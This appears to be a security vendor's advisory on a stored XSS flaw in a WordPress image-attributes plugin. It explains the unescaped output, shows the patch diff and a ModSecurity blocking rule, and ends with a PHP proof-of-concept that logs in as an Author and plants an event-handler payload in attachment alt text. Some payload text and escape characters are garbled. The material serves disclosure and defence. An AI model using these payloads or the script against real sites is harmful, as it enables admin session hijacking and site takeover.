Atomic Edge analysis of CVE-2026-3722:
This vulnerability is a Stored Cross-Site Scripting (XSS) that affects the Auto Image Attributes From Filename With Bulk Updater plugin for WordPress, versions up to and including 4.9. The issue lies in the admin column display within the Media Library where attachment metadata is rendered without proper escaping. The vulnerability is assigned a CVSS score of 6.4 and permits authenticated attackers with Author-level access or higher to inject arbitrary web scripts into pages that execute when users access those specific pages.
Root Cause:
The root cause is insufficient output escaping in the `admin/columns-media-library.php` file, specifically in the `iaff_image_columns_content` function. The vulnerability manifests in four data output paths: at line 50, the `$image->post_title` is echoed directly via `echo $image->post_title`; at line 54, the attachment alt text from `get_post_meta( $id, ‘_wp_attachment_image_alt’, true )` is echoed without sanitization; at line 56, `$image->post_excerpt` is echoed directly; and at line 60, `$image->post_content` is echoed directly. None of these outputs apply `esc_html()` or other escaping functions, allowing stored data containing JavaScript to be rendered in the admin interface. Additionally, the `admin/do.php` file at line 735 introduces `$text = sanitize_text_field( $text );` which adds sanitization but does not address the root cause of the output.
Exploitation:
An attacker with Author-level privileges can upload or edit a media attachment (image) and inject a malicious payload into the attachment’s metadata fields such as Title, Alt Text, Caption, or Description. For example, setting the image Title to `
` or the Alt Text to `” onfocus=alert(1) autofocus=””` will store the payload in the database. When an administrator or other user views the Media Library list page, the plugin’s column display function `iaff_image_columns_content` in `columns-media-library.php` outputs the unsanitized metadata. The browser then interprets the injected HTML/JavaScript, executing arbitrary scripts in the context of the victim’s session. The attack vector is the WordPress admin AJAX or POST request to update attachment metadata accessible via `post.php` or `admin-ajax.php` with appropriate nonces.
Patch Analysis:
The patch modifies `columns-media-library.php` to wrap each output in `esc_html()` calls. Specifically: `echo $image->post_title` becomes `echo esc_html( $image->post_title )`; the alt text logic now stores the value in a variable before echoing with `esc_html()`: `$iaff_image_alt = ( $iaff_image_alt !== false ) ? $iaff_image_alt : ”; echo esc_html( $iaff_image_alt )`; `echo $image->post_excerpt` becomes `echo esc_html( $image->post_excerpt )`; and `echo $image->post_content` becomes `echo esc_html( $image->post_content )`. Additionally, `admin/do.php` adds `$text = sanitize_text_field( $text );` for input sanitization, and several minor localization fixes are applied in `admin-ui-render.php`. The patch transforms the output from raw HTML interpretation to safe HTML-encoded text, preventing XSS.
Impact:
Successful exploitation allows an authenticated attacker with Author-level access to execute arbitrary JavaScript in the browser of any user visiting the affected Media Library admin page. This can lead to session hijacking, theft of admin cookies, unauthorized actions such as creating new administrator accounts, defacement of the WordPress admin interface, or redirection to malicious sites. The impact is limited to the admin area but can enable complete site compromise if a site administrator’s session is hijacked.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/auto-image-attributes-from-filename-with-bulk-updater/admin/admin-ui-render.php
+++ b/auto-image-attributes-from-filename-with-bulk-updater/admin/admin-ui-render.php
@@ -775,7 +775,7 @@
if ( ! empty( $available_tags ) ) :
?>
- <p><?php _e( 'Available tags:' ); ?></p>
+ <p><?php _e( 'Available tags:', 'auto-image-attributes-from-filename-with-bulk-updater' ); ?></p>
<p><?php _e( 'The following tags when used in a custom attribute will be replaced with their corresponding value.', 'auto-image-attributes-from-filename-with-bulk-updater' ); ?></p>
<ul class="iaff-available-custom-attribute-tags" role="list">
<?php
@@ -1169,6 +1169,6 @@
echo
'<p class="iaff-description">' .
- sprintf( __( 'Note: Requires Image Attributes Pro %s or newer to manage these options. <a href="%s" target="_blank">Read more.</a>', 'auto-image-attributes-from-filename-with-bulk-updater' ), $version, 'https://imageattributespro.com/backwards-compatibility/?utm_source=iaff-basic&utm_medium=bulk-updater-settings-tab' ) .
+ sprintf( esc_html__( 'Note: Requires Image Attributes Pro %1$1s or newer to manage these options. <a href="%2$2s" target="_blank">Read more.</a>', 'auto-image-attributes-from-filename-with-bulk-updater' ), esc_html( $version ), 'https://imageattributespro.com/backwards-compatibility/?utm_source=iaff-basic&utm_medium=bulk-updater-settings-tab' ) .
'</p>';
}
No newline at end of file
--- a/auto-image-attributes-from-filename-with-bulk-updater/admin/basic-setup.php
+++ b/auto-image-attributes-from-filename-with-bulk-updater/admin/basic-setup.php
@@ -36,7 +36,7 @@
* @since 1.0
*/
function iaff_load_plugin_textdomain() {
- load_plugin_textdomain( 'auto-image-attributes-from-filename-with-bulk-updater', FALSE, IAFF_IMAGE_ATTRIBUTES_FROM_FILENAME_DIR . '/languages/' );
+ load_plugin_textdomain( 'auto-image-attributes-from-filename-with-bulk-updater', false, IAFF_IMAGE_ATTRIBUTES_FROM_FILENAME_DIR . '/languages/' );
}
add_action( 'plugins_loaded', 'iaff_load_plugin_textdomain' );
--- a/auto-image-attributes-from-filename-with-bulk-updater/admin/columns-media-library.php
+++ b/auto-image-attributes-from-filename-with-bulk-updater/admin/columns-media-library.php
@@ -47,20 +47,21 @@
switch( $column_name ) {
case 'iaff_image_title':
- echo $image->post_title;
+ echo esc_html( $image->post_title );
break;
case 'iaff_image_alt':
$iaff_image_alt = get_post_meta( $id, '_wp_attachment_image_alt', true );
- echo ( $iaff_image_alt !== false ) ? $iaff_image_alt : '';
+ $iaff_image_alt = ( $iaff_image_alt !== false ) ? $iaff_image_alt : '';
+ echo esc_html( $iaff_image_alt );
break;
case 'iaff_image_caption':
- echo $image->post_excerpt;
+ echo esc_html( $image->post_excerpt );
break;
case 'iaff_image_description':
- echo $image->post_content;
+ echo esc_html( $image->post_content );
break;
}
}
No newline at end of file
--- a/auto-image-attributes-from-filename-with-bulk-updater/admin/do.php
+++ b/auto-image-attributes-from-filename-with-bulk-updater/admin/do.php
@@ -735,6 +735,8 @@
'error' => __( 'Image object was not provided.', 'auto-image-attributes-from-filename-with-bulk-updater' )
];
}
+
+ $text = sanitize_text_field( $text );
// Get Settings
$settings = iaff_get_settings();
--- a/auto-image-attributes-from-filename-with-bulk-updater/iaff_image-attributes-from-filename.php
+++ b/auto-image-attributes-from-filename-with-bulk-updater/iaff_image-attributes-from-filename.php
@@ -5,10 +5,10 @@
* Description: Automatically Add Image Title, Image Caption, Description And Alt Text From Image Filename. Since this plugin includes a bulk updater this can update both existing images in the Media Library and new images.
* Author: Arun Basil Lal
* Author URI: https://imageattributespro.com/?utm_source=plugin-header&utm_medium=author-uri
- * Version: 4.9
+ * Version: 4.9.1
* Text Domain: auto-image-attributes-from-filename-with-bulk-updater
* Domain Path: /languages
- * License: GPL v2 - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
+ * License: GPL v2
*/
/**
@@ -65,7 +65,7 @@
* @since 1.3
*/
if ( ! defined( 'IAFF_VERSION_NUM' ) ) {
- define( 'IAFF_VERSION_NUM', '4.9' );
+ define( 'IAFF_VERSION_NUM', '4.9.1' );
}
/**
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-3722
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20263722,phase:2,deny,status:403,chain,msg:'CVE-2026-3722 XSS via attachment alt text',severity:'CRITICAL',tag:'CVE-2026-3722',tag:'wordpress',tag:'xss'"
SecRule ARGS_POST:action "@streq save-attachment-compat" "chain"
SecRule ARGS_POST:/^attachments[d+][alt]$/ "@rx <script|<?php|on[a-z]+ =" ""
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3722 - Auto Image Attributes From Filename With Bulk Updater <= 4.9 - Stored XSS
// Configuration
$target_url = "https://example.com/wordpress"; // Change this to the target WordPress URL
$username = "author"; // User with Author-level privileges
$password = "password"; // User's password
// Payload: Stored XSS via image alt text
$payload = '" onmouseover="alert(1)" autofocus=""';
// Step 1: Login to WordPress
$login_url = $target_url . "/wp-login.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
$login_response = curl_exec($ch);
curl_close($ch);
// Check if login succeeded (look for wp-admin in redirect)
if (strpos($login_response, 'wp-admin') === false) {
die("Login failed. Check credentials or URL.n");
}
echo "Logged in successfully.n";
// Step 2: Get a nonce and media list to find existing attachment or upload new
$media_url = $target_url . "/wp-admin/upload.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $media_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
$media_page = curl_exec($ch);
curl_close($ch);
// Extract an attachment ID from the page (simplified: use first row)
preg_match('/data-id="(d+)"/', $media_page, $matches);
if (empty($matches[1])) {
// If no attachment exists, attempt to upload a dummy image (requires media-new.php)
die("No attachments found. Upload an image manually first or use a different approach.n");
}
$attachment_id = $matches[1];
echo "Using attachment ID: $attachment_idn";
// Step 3: Update attachment alt text with XSS payload
$update_url = $target_url . "/wp-admin/admin-ajax.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $update_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'save-attachment-compat',
'id' => $attachment_id,
'attachments[' . $attachment_id . '][alt]' => $payload,
// Nonce can be obtained from the media list page; here we assume it's present
// In real exploit, you'd parse _wpnonce from the page
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
$update_response = curl_exec($ch);
curl_close($ch);
echo "Update response: " . $update_response . "n";
echo "Done. Check the Media Library page for alert popup.n";
